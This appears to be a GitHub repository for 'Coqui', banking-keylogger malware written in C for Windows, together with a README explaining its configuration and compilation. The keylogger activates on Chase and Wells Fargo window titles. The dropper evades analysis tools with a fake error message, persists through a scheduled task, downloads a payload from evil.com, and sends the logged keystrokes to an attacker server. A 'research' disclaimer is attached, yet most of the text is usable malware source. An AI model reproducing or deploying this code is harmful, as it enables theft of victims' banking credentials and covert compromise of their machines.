├── imgs ├── img1.png ├── img2.png └── img6.png ├── imgs-2 ├── img1.png ├── img2.png ├── img3.png ├── img4.png ├── img5.png ├── img6.png └── img7.png ├── ProcKill.c ├── logger.c ├── README.md └── dropper.c /imgs/img1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1d8/Coqui/HEAD/imgs/img1.png -------------------------------------------------------------------------------- /imgs/img2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1d8/Coqui/HEAD/imgs/img2.png -------------------------------------------------------------------------------- /imgs/img6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1d8/Coqui/HEAD/imgs/img6.png -------------------------------------------------------------------------------- /imgs-2/img1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1d8/Coqui/HEAD/imgs-2/img1.png -------------------------------------------------------------------------------- /imgs-2/img2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1d8/Coqui/HEAD/imgs-2/img2.png -------------------------------------------------------------------------------- /imgs-2/img3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1d8/Coqui/HEAD/imgs-2/img3.png -------------------------------------------------------------------------------- /imgs-2/img4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1d8/Coqui/HEAD/imgs-2/img4.png -------------------------------------------------------------------------------- /imgs-2/img5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1d8/Coqui/HEAD/imgs-2/img5.png -------------------------------------------------------------------------------- /imgs-2/img6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1d8/Coqui/HEAD/imgs-2/img6.png -------------------------------------------------------------------------------- /imgs-2/img7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1d8/Coqui/HEAD/imgs-2/img7.png -------------------------------------------------------------------------------- /ProcKill.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | 7 | TCHAR malpath[MAX_PATH]; 8 | TCHAR path[MAX_PATH]; 9 | 10 | int createpath(LPCTSTR exename, LPCTSTR environmentvar) { 11 | GetEnvironmentVariable(environmentvar, path, MAX_PATH); 12 | strcat_s(malpath, strlen(malpath)+strlen(path)+1, path); 13 | strcat_s(malpath, strlen(malpath)+strlen(exename)+1, exename); 14 | } 15 | 16 | void bnk(LPCTSTR exename) { 17 | const CHAR * titles[] = {"Wells Fargo", "Credit Card"}; 18 | TCHAR wtitle[MAX_PATH]; 19 | CHAR * cmd = "taskkill /F /T /IM "; 20 | strcat_s(cmd, strlen(cmd)+strlen(exename)+1, exename); 21 | loop:for (int z; z < sizeof(titles)/sizeof(titles[0]); z++) { 22 | HWND window = GetForegroundWindow(); 23 | GetWindowText(window, wtitle, MAX_PATH); 24 | int jamfora_3 = strncmp(wtitle, titles[0], strlen(titles[0])); 25 | if (jamfora_3 != 0) { 26 | //system("taskkill /F /T /IM svart.exe"); 27 | system(cmd); 28 | goto loop; 29 | } 30 | else { 31 | PROCESSENTRY32 entry; 32 | entry.dwSize= sizeof(PROCESSENTRY32); 33 | int runcheck; 34 | int proccheck; 35 | HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); 36 | //wait till while loop is done, set var equal to 1 if process is found running then check its value 37 | if (Process32First(snapshot, &entry) == TRUE) { 38 | while (Process32Next(snapshot, &entry) == TRUE) { 39 | int jamfora = strncmp(entry.szExeFile, "Process", strlen("Process")); 40 | //if (stricmp(entry.szExeFile, "svart.exe") == 0) { 41 | if (stricmp(entry.szExeFile, exename) == 0) { 42 | runcheck = 1; 43 | } 44 | else if (jamfora == 0) { 45 | printf("[!] Analysis tools detected!\n"); 46 | proccheck = 1; 47 | DWORD bwritten; 48 | HANDLE cmal = CreateFileA(malpath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); 49 | if (cmal != INVALID_HANDLE_VALUE) { 50 | printf("[-] Opened main malware\n"); 51 | } 52 | int wmal = WriteFile(cmal, "00000", strlen("00000"), &bwritten, NULL); 53 | if (wmal != 0) { 54 | printf("[-] Successfully overwritten malware!\n"); 55 | } 56 | exit(0); 57 | } 58 | 59 | } 60 | if (runcheck == 1) { 61 | printf("[!] svart is already running!\n"); 62 | 63 | } 64 | else { 65 | STARTUPINFO si = {0}; 66 | PROCESS_INFORMATION pi = {0}; 67 | int cpresult = CreateProcessA(malpath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); 68 | if (cpresult != 0) { 69 | printf("[+] Keylogger started!\n"); 70 | } 71 | else { 72 | printf("[!] Error with starting keylogger!\n"); 73 | } 74 | } 75 | goto loop; 76 | } 77 | } 78 | } 79 | 80 | } 81 | int main() { 82 | //change svart.exe & TEMP to name of keylogger & env var where it was dropped 83 | createpath("//svart.exe", "TEMP"); 84 | while (TRUE) { 85 | bnk("svart.exe"); 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /logger.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | //can be improved: log only when bank titles appear and stop logging once title isn't equal to anything banking related [DONE, check ProcKill] 6 | 7 | int gen(int key_stroke, char *file); 8 | 9 | int main() { 10 | const CHAR * banktitles[] = {"Credit Card, Mortgage, Banking, Auto | Chase Online | Chase.com - Mozilla Firefox", "Credit Card, Mortgage, Banking, Auto | Chase Online | Chase.com - Google Chrome", "Wells Fargo - Bannking, Credit Cards, Loans, Mortgages & More - Mozilla Firefox", "Wells Fargo - Bannking, Credit Cards, Loans, Mortgages & More - Google Chrome"}; 11 | TCHAR windowtitle[MAX_PATH]; 12 | AllocConsole(); 13 | HWND win = FindWindowA("ConsoleWindowClass", NULL); 14 | ShowWindow(win, 0); 15 | //can also be done with do; while loop 16 | for (int z; z < 2; z++) { 17 | while (lstrcmpiA(windowtitle, banktitles[z]) != 0) { 18 | HWND workingwindow = GetForegroundWindow(); 19 | GetWindowText(workingwindow, windowtitle, MAX_PATH); 20 | printf("Sleeping...\n"); 21 | Sleep(100000); 22 | if (lstrcmpiA(windowtitle, banktitles[z]) == 0) { 23 | goto out; 24 | } 25 | else { 26 | continue; 27 | } 28 | } 29 | } 30 | out:printf("window matched!\n"); 31 | printf("Keylogger started...\n"); 32 | TCHAR dbpath[MAX_PATH]; 33 | GetEnvironmentVariable("TEMP", dbpath, MAX_PATH); 34 | strcat_s(dbpath, strlen(dbpath)+strlen("\\db.txt")+1, "\\db.txt"); 35 | char i; 36 | while (1) { 37 | for (i=8; i<=190; i++) { 38 | if (GetAsyncKeyState(i) == -32767) 39 | gen(i, dbpath); 40 | } 41 | } 42 | //system("PAUSE"); 43 | 44 | } 45 | 46 | int gen (int key_stroke, char *file) { 47 | if ((key_stroke == 1) || (key_stroke == 2)) 48 | return 0; 49 | 50 | FILE * OUTPUT_FILE; 51 | OUTPUT_FILE = fopen(file, "a+"); 52 | 53 | 54 | if (key_stroke == 8) 55 | fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]"); 56 | else if (key_stroke == 13) 57 | fprintf(OUTPUT_FILE, "%s", "\n"); 58 | else if (key_stroke == 32) 59 | fprintf(OUTPUT_FILE, "%s", " "); 60 | else if (key_stroke == VK_TAB) 61 | fprintf(OUTPUT_FILE, "%s", "[TAB]"); 62 | else if (key_stroke == VK_SHIFT) 63 | fprintf(OUTPUT_FILE, "%s", "[SHIFT]"); 64 | else if (key_stroke == VK_CONTROL) 65 | fprintf(OUTPUT_FILE, "%s", "[CONTROL]"); 66 | else if (key_stroke == VK_ESCAPE) 67 | fprintf(OUTPUT_FILE, "%s", "[ESCAPE]"); 68 | else if (key_stroke == VK_END) 69 | fprintf(OUTPUT_FILE, "%s", "[END]"); 70 | else if (key_stroke == VK_HOME) 71 | fprintf(OUTPUT_FILE, "%s", "[HOME]"); 72 | else if (key_stroke == VK_LEFT) 73 | fprintf(OUTPUT_FILE, "%s", "[LEFT]"); 74 | else if (key_stroke == VK_UP) 75 | fprintf(OUTPUT_FILE, "%s", "[UP]"); 76 | else if (key_stroke == VK_RIGHT) 77 | fprintf(OUTPUT_FILE, "%s", "[RIGHT]"); 78 | else if (key_stroke == VK_DOWN) 79 | fprintf(OUTPUT_FILE, "%s", "[DOWN]"); 80 | else if (key_stroke == 190 || key_stroke == 110) 81 | fprintf(OUTPUT_FILE, "%s", "."); 82 | else 83 | fprintf (OUTPUT_FILE, "%s", &key_stroke); 84 | 85 | fclose(OUTPUT_FILE); 86 | return 0; 87 | } 88 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Coqui 2 | 3 | ## DISCLAIMER: This project was made for research purposes. Anything you do with this code is on you and is not my responsibility. 4 | 5 | This malware is designed to activate when a user visits a banking website, the malware will check the window title against a set of hardcoded values to see if they are on certain sites. This set of hardcoded values can be expanded by simply adding them into the _banktitles_ variable: 6 | 7 | ![](/imgs/img1.png) 8 | 9 | If a banking title is matched the keylogger is started but if it is not matched the malware will simply keep running until the user visits a website that matches one in the hardcoded list. 10 | 11 | Once the keylogger is started, the malware will save a file called db.txt in the %TMP% directory. 12 | 13 | The dropper associated with this malware is simple: it checks all the running windows to see if they have the words "Process" or "Windows Task Manager" in them as these usually indicate the file is being analyzed (EX: Process Hacker, Process Monitor, etc), if any windows have this in their title, it doesn't continue running. 14 | #### NOTE: This hardcoded list of processes that is checked before continuing execution can be expanded by changing the _xprocesses_ variable: 15 | 16 | ![](/imgs/img2.png) 17 | 18 | Otherwise, it checks if the victim is already infected by searching the %TMP% directory for a list of files. If the victim is already infected, the dropper will send off the collected keystrokes to a remote server which is specified in the 2nd parameter of the _Pigeon_ function via GET request. If the victim isn't infected, it copies itself to the %TMP% directory with the _01.exe_ name & creates a scheduled Task to run itself every 12 days at 12:00 noon. Finally, it downloads the keylogger & names it _ursakta.exe_. 19 | 20 | ## Before Using 21 | 22 | Change the IP address of the server (2nd parameter to the _Pigeon_) function as well as the URL for the main keylogger file (1st parameter to the _Pigeon_ function). The pigeon function is called in _main_: 23 | 24 | ![](/imgs/img6.png) 25 | 26 | ## Compiling 27 | 28 | Cross-compile from Linux to Windows using mingw 29 | 30 | 64-bit (for the dropper): 31 | `x86_64-w64-mingw32-gcc input.c -o output.exe -lurlmon -lwininet` 32 | 33 | 32-bit (for the dropper): 34 | `i686-w64-mingw32-gcc input.c -o output.exe -lurlmon -lwininet` 35 | 36 | 64-bit (for keylogger): 37 | `x86_64-w64-mingw32-gcc input.c -o output.exe` 38 | 39 | 32-bit (for keylogger): 40 | `i686-w64-mingw32-gcc input.c -o output.exe` 41 | 42 | # Showcasing ProcKill 43 | 44 | Once the window monitor starts (ProcKill), it attempts to kill off the keylogger (using `system(taskkill /F /T /IM keylogger.exe))` if it doesn't detect the main window (the window the user is currently working in) being related to anything banking related. 45 | ##### NOTE: It compares a hardcoded list of banking related titles to the current working window, this hardcoded list can be expanded by simply adding in window titles: 46 | 47 | ![](/imgs-2/img4.png) 48 | 49 | ![](/imgs-2/img1.png) 50 | 51 | The current working window above is the command prompt, so it attempts to kill off the keylogger (in this case, named svart.exe). 52 | 53 | ![](/imgs-2/img2.png) 54 | 55 | Now, the current window above is the Wells Fargo banking site, so the keylogger is started & ProcKill checks to be sure that it is running before starting it again. If it's already running, it prints out "[!] svart is already running!". 56 | 57 | ![](/imgs-2/img3.png) 58 | 59 | If the user changes their current working window & the keylogger is running, we can see the "SUCCESS" message, indicating that the keylogger was killed off due to the user changing windows. 60 | 61 | ![](/imgs-2/img5.png) 62 | 63 | And if a window such as Process Hacker is detected, the keylogger is opened & overwritten, before: 64 | 65 | ![](/imgs-2/img7.png) 66 | 67 | After: 68 | 69 | ![](/imgs-2/img6.png) 70 | 71 | As far as the keylogger goes, it's fairly basic, the way it exfiltrates the logged data is by sending a GET request to a specified IP address. That IP address should have an Apache server running & logging GET requests. The file _dropper.c_ is responsible for data exfiltration & schedules itself to run every 12 days to exfiltrate the data. 72 | 73 | 74 | ## TODO: 75 | 1. Add a feature that constantly checks for processes that involve system imaging (such as FTK) & if it finds it, kill all running processes related to the malware & remove itself. 76 | -------------------------------------------------------------------------------- /dropper.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | //filetodl - main malware to drop 10 | //serverip - server where data will be sent 11 | void pigeon(LPCTSTR filetodl, LPCSTR serverip){ 12 | TCHAR tmppath[MAX_PATH]; 13 | WIN32_FIND_DATA filedat1; 14 | WIN32_FIND_DATA filedat2; 15 | GetEnvironmentVariable("TEMP", tmppath, MAX_PATH); 16 | SetCurrentDirectory(tmppath); 17 | HANDLE verifyinfection1 = FindFirstFileA("ursakta.exe", &filedat1); 18 | HANDLE verifyinfection2 = FindFirstFileA("db.txt", &filedat2); 19 | if (verifyinfection1 == INVALID_HANDLE_VALUE || verifyinfection2 == INVALID_HANDLE_VALUE) { 20 | printf("Machine isn't infected! Grabbing logger...\n"); 21 | strcat_s(tmppath, strlen(tmppath)+strlen("\\ursakta.exe")+1, "\\ursakta.exe"); 22 | HRESULT verifydl = URLDownloadToFile(NULL, filetodl, tmppath, 0, NULL); 23 | if (verifydl == S_OK) { 24 | STARTUPINFO si = {0}; 25 | PROCESS_INFORMATION pi = {0}; 26 | printf("Download successful!\n Check tmp\n"); 27 | int cpresult = CreateProcessA(tmppath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); 28 | if (cpresult == 0) { 29 | printf("Problem with createprocessA\n"); 30 | } 31 | else { 32 | printf("Process created! Exiting...\n"); 33 | exit(1); 34 | } 35 | } 36 | else { 37 | printf("Problem w/download.\n"); 38 | } 39 | } 40 | else { 41 | printf("Victim is already infected. Beginning to send the files to attacker server!\n"); 42 | CHAR dbfilepath[MAX_PATH]; 43 | HW_PROFILE_INFO huuid; 44 | TCHAR suuid[MAX_PATH]; 45 | TCHAR urlpath[MAX_PATH] = "/?uuid="; 46 | OFSTRUCT openfilebuff; 47 | TCHAR dbfiledat[MAX_PATH]; 48 | LARGE_INTEGER pdbfilesz; 49 | DWORD rbytes; 50 | PCTSTR datatypes[] = {_T("text/*"), NULL}; 51 | GetCurrentHwProfileA(&huuid); 52 | strcat_s(suuid, strlen(suuid)+strlen(huuid.szHwProfileGuid)+1, huuid.szHwProfileGuid); 53 | strcat_s(urlpath, strlen(urlpath)+strlen(suuid)+1, suuid); 54 | strcat_s(urlpath, strlen(urlpath)+strlen("&data=")+1, "&data="); 55 | GetEnvironmentVariable("TEMP", dbfilepath, MAX_PATH); 56 | //this may be redundant since we've already changed the working dir above 57 | SetCurrentDirectory(dbfilepath); 58 | HANDLE opendbfile = OpenFile("db.txt", &openfilebuff, OF_READ); 59 | if (opendbfile == HFILE_ERROR) { 60 | printf("Openfile error!\n"); 61 | } 62 | int getszret = GetFileSizeEx(opendbfile, &pdbfilesz); 63 | if (getszret == 0) { 64 | printf("Get file size error!\n"); 65 | } 66 | LONGLONG ldbfilesz = pdbfilesz.QuadPart; 67 | ReadFile(opendbfile, dbfiledat, ldbfilesz, &rbytes, NULL); 68 | strcat_s(urlpath, strlen(urlpath)+strlen(dbfiledat)+1, dbfiledat); 69 | printf("Final URL path: %s\n", urlpath); 70 | CloseHandle(opendbfile); 71 | HINTERNET iopen = InternetOpenA("ursakta", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); 72 | HINTERNET iconnect = InternetConnectA(iopen, serverip, INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0); 73 | HINTERNET orequest = HttpOpenRequestA(iconnect, "GET", urlpath, NULL, NULL, datatypes, INTERNET_FLAG_NO_AUTH, 0); 74 | if (orequest == NULL) { 75 | printf("Problem with opening request!\n"); 76 | } 77 | //can add optional data (2nd to last slot) to send unique identifier to attacker server 78 | int srequest = HttpSendRequestA(orequest, NULL, 0, NULL, 0); 79 | if (srequest == 0) { 80 | printf("Problem with sending request\n"); 81 | } 82 | } 83 | } 84 | 85 | BOOL CALLBACK monster(HWND hwnd, LPARAM opt){ 86 | TCHAR cwtitle[MAX_PATH]; 87 | const char * xprocesses[] = {"Process", "Windows Task Manager"}; 88 | GetWindowText(hwnd, cwtitle, MAX_PATH); 89 | for (int i=0; i < sizeof(xprocesses)/sizeof(xprocesses[0]); i++) { 90 | int jamfora = strncmp(cwtitle, xprocesses[i], strlen(xprocesses[i])); 91 | if (jamfora == 0) { 92 | printf("[!] Possibly in analysis environment!\n"); 93 | //to make error more convincing, add an exe name before System Error (EX: Spotify.exe - System Error 94 | MessageBoxA(NULL, "The program can't start because MSVCP71.dll is missing from your computer. Try reinstalling the program to fix this problem.", "System Error", MB_OK | MB_ICONERROR); 95 | exit(0); 96 | return FALSE; 97 | } 98 | else { 99 | continue; 100 | return TRUE; 101 | } 102 | } 103 | } 104 | 105 | 106 | int main() { 107 | EnumWindows(monster, NULL); 108 | printf("Entering main execution!\n"); 109 | TCHAR ndroppath[MAX_PATH]; 110 | TCHAR odroppath[MAX_PATH]; 111 | GetEnvironmentVariable("TEMP", ndroppath, MAX_PATH); 112 | strcat_s(ndroppath, strlen(ndroppath)+strlen("\\01.exe")+1, "\\01.exe"); 113 | GetModuleFileNameA(NULL, odroppath, MAX_PATH); 114 | int rcp = CopyFile(odroppath, ndroppath, FALSE); 115 | if (rcp ==0) { 116 | printf("Copying drop file to new path failed!\n"); 117 | } 118 | else { 119 | HINSTANCE result = ShellExecuteA(NULL, "open", "schtasks.exe", "/create /tn SYSWOW /tr %TMP%\\01.exe /sc daily /mo 12 /sd 08/19/2020 /st 12:00", NULL, 0); 120 | } 121 | pigeon("https://evil.com/malware.exe", "127.0.0.1"); 122 | } 123 | --------------------------------------------------------------------------------